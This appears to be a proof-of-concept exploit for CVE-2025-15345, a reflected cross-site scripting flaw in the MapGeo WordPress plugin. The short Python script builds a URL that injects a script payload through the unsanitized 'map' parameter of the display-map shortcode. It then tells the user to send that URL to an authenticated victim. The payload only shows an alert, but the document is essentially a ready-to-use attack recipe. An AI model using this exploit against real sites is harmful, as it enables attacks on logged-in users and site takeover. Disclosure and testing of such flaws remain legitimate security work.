CVE-2025-15345: MapGeo插件反射型XSS漏洞

# PoC for CVE-2025-15345 # Vulnerable Parameter: map in display-map shortcode # Usage: Access the URL below in a browser while logged into a page containing the shortcode or if the shortcode processes global GET requests. import urllib.parse payload = "<script>alert('CVE-2025-15345');</script>" # Example URL structure (assuming a page exists that renders the map) # The 'map' parameter is reflected unsanitized. base_url = "http://target-wordpress-site.com/page-with-map/" exploit_url = f"{base_url}?map={urllib.parse.quote(payload)}" print(f"[+] Exploit URL: {exploit_url}") print("[+] Send this URL to an authenticated user to trigger the XSS.")